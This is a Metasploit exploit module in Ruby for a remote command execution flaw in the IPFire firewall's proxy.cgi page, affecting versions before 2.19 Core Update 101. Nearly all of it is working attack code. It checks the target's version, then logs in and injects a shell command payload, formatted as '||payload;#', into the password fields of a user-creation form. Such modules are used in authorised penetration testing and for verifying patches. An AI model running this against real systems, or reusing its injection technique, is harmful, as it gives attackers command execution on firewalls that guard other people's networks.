IPFire proxy.cgi Remote Command Execution

`##  
## This module requires Metasploit: http://metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'IPFire proxy.cgi RCE',  
'Description' => %q(  
IPFire, a free linux based open source firewall distribution,  
version < 2.19 Update Core 101 contains a remote command execution  
vulnerability in the proxy.cgi page.  
),  
'Author' =>  
[  
'h00die <[email protected]>', # module  
'Yann CAM' # discovery  
],  
'References' =>  
[  
[ 'EDB', '39765' ],  
[ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Privileged' => false,  
'DefaultOptions' => { 'SSL' => true },  
'Arch' => [ ARCH_CMD ],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'perl awk openssl'  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 04 2016'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ false, 'Password to login with', '']),  
Opt::RPORT(444)  
], self.class  
)  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => '/cgi-bin/pakfire.cgi',  
'method' => 'GET'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200  
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body  
  
if version && update && version == "2.19" && update.to_i < 101  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
  
def exploit  
begin  
# To manually view the vuln page, click to proxy.cgi. At the bottom  
# select Local, and save. Ignore the error box, at the bottom of  
# the page click the button: User Management.  
  
payload_formatted = "||#{payload.encoded};#"  
post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"  
post_data << "&NCSA_GROUP=standard"  
post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"  
post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"  
post_data << "&SUBMIT=Create+user"  
post_data << "&ACTION=Add"  
post_data << "&NCSA_MIN_PASS_LEN=6"  
  
res = send_request_cgi(  
'uri' => '/cgi-bin/proxy.cgi',  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' =>  
{  
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"  
},  
'data' => post_data  
)  
  
# success means we hang our session, and wont get back a response  
if res  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200  
end  
  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
end  
`